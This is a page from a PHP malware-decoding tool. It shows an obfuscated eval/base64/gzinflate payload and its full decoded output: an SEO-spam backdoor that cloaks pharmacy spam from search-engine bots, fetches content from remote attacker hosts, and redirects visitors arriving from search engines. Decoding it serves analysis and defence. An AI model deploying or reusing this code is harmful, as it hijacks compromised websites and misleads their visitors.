Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode('pRhrc6M48nOu6v4DcbEBZhgb41c8CUmmdny7W3XzOI/n6q6SjEsGYW..

Decoded Output download

if (!defined('frmDs')){
	define('frmDs' ,1);
	error_reporting(0);
	
	function frm_dl ($url) {
		if (function_exists('curl_init')) {
			$ch = curl_init($url);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			$out = curl_exec ($ch);
			if (curl_errno($ch) !== 0) $out = false;
			curl_close ($ch);
		} else {$out = @file_get_contents($url);}
		return trim($out);
	}
	
	function frm_crpt($in){
		$il=strlen($in);$o='';
		for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
		return $o;
	}
	
	function frm_getcache($tmpdir,$link,$cmtime,$toe=false){
		$f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link));
		$fe = file_exists($f);
		if(!$fe || time() - filemtime($f) > 60 * $cmtime)
		{
			$dlc=frm_dl($link);
			if($fe && $dlc===false) 
				@touch($f);
			else
			{
				if($fe && empty($dlc) && $toe) 
				{
					@touch($f);
				}
				else
				{
					if($fp = @fopen($f,'w')){fwrite($fp, frm_crpt($dlc)); fclose($fp);}
					else{return $dlc;}
				}
			}
		}
		$fc = @file_get_contents($f);
		return ($fc)?frm_crpt($fc):'';
	}
	
	function frm_isbot(){
		$ua=@strtolower($_SERVER['HTTP_USER_AGENT']);
		if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296; 
		$rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590),
					array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566),
					array(3481178113,3481182206),array(2915172353,2915237886),array(3627728897,3627737086),array(1823541249,1823543294));
		foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true;
		if(!$ua)return true;
		$bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider');
		foreach ($bots as $b) if(strpos($ua, $b)!==false) return true;
		$h=@gethostbyaddr($_SERVER['REMOTE_ADDR']);
		$hba=array('google','msn','yahoo');
		if($h) foreach ($hba as $hb) if(strpos($h, $hb)!==false) return true;
		return false;
	}
	
	function frm_tmpdir(){
		$fs = array('/tmp','/var/tmp','./wp-content/cache','./wp-content/uploads','./tmp','./cache','./images');
        foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) {
            if ($t = getenv($v)) {$fs[]=$t;}
        }
        if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();}
        $fs[]='.';
        
        foreach ($fs as $f){
        	$tf = $f.'/'.md5(rand());
        	if($fp = @fopen($tf, 'w')){
        		fclose($fp);
        		unlink($tf);
        		return $f;
        	}
        }
		return false;
	}

	function frm_seref(){
		$r = @strtolower($_SERVER["HTTP_REFERER"]);
		$ses = array('google','bing','yahoo','ask','aol');
		foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true;
		return false;
	}
	
	function frm_havekey($s=false){
		$nks = explode('|','abilify|albenza|aldactone|amoxil|antabuse|apcalis|atarax|baclofen|bactrim|bimatoprost|buspar|celebrex|celexa|cialis|cipro|clomid|desyrel|diflucan|doxycycline|elavil|erectalis|eriacta|erythromycin|finpecia|flagyl|glucophage|inderal|kamagra|lasix|levaquin|levitra|lexapro|megalis|mobic|motilium|nexium|nolvadex|orlistat|paxil|penisole|periactin|premarin|priligy|propecia|proscar|proventil|retin-a|robaxin|seroquel|silagra|sildalis|silvitra|strattera|stromectol|p-force|synthroid|tadacip|tadalis|tadapox|tenormin|tetracycline|topamax|valtrex|ventolin|viagra|vigora|wellbutrin|zanaflex|zenegra|zithromax|sildenafil|tadalafil|vardenafil|zovirax');
		$k = ($s==false)?@strtolower($_SERVER["HTTP_REFERER"].$_SERVER["REQUEST_URI"]):$s;
		if (strpos($k,"site%3A")!==false||strpos($k,"inurl%3A")!==false) return '';
		foreach ($nks as $n)if(preg_match("/(|_)$n(|_)/" , $k)) return $n;
		return '';
	}
	
	function frm_chpr($url,$td){
		$r=frm_getcache($td,"http://data.alexa.com/data?cli=10&url=$url",60*24*366, true);
		if ((preg_match('/XT="(\d+)"/', $r, $m)) == 1) {
			if ( $m[1] < 12000000) {
				return 4;
			}
		}
		return 0;
	}
	
	function frm_red($k){
		if(!frm_isbot() && frm_seref()){
			$r=@urlencode($_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
			$s=@urlencode($_SERVER['HTTP_REFERER']);
			die("<!DOCTYPE html><html><body><script>document.location=(\"http://178.73.212.30/stat/go.php?k=$k&s=$s&r=$r\");</script></body></html>");
		}
	}
	
	$tdir = frm_tmpdir();
	$isb=frm_isbot();
	$k=frm_havekey();
	$host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST']));
	if($cv=@$_POST[md5($host.'ch')]){exit($cv);}
	if($tdir && strlen($host)<100 && !preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $host)){
		$parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host.'p1')))),0,3);
		$sp = "http://jkspzxhiiydy.rr.nu/stat/feed.php?pa=$parg&h=$host";
		//
		$ruri = strtolower($_SERVER['REQUEST_URI']);
		$pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0;
		if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){
			frm_red($k);
			die(frm_getcache($tdir, $sp."&p=$pageid",60*24,true));
		}
		//
		$tp=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
		if($isb && ($ppr = frm_chpr($tp,$tdir)) > 3){
			$pc=frm_getcache($tdir, $sp."&a=l&p=".urlencode($tp)."&pr=$ppr",60*24);
			if($pc) die($pc);
		}		
		if (($ruri=='/' || $ruri=='/index.php') && $isb) {
			$c=frm_getcache($tdir, $sp ,60*24);
			if($c)die($c);
		}
		//
		if($k && $sdl = frm_getcache($tdir, $sp."&a=s", ($isb ? 30 : 60*24*7) ,true)){
			if(strpos($sdl, '|'.$ruri.'|') !== false){
				frm_red($k);
				die(frm_getcache($tdir, $sp."&a=s&p=".urlencode($ruri),60*24*7,true));
			}
		}

	}
	if($k) frm_red($k);
}

Did this file decode correctly?

Original Code

<?php eval(gzinflate(base64_decode('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')));?>
<?php

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 e5b27e73b14b3c122d26b059f6e9c3cf
Eval Count 1
Decode Time 97 ms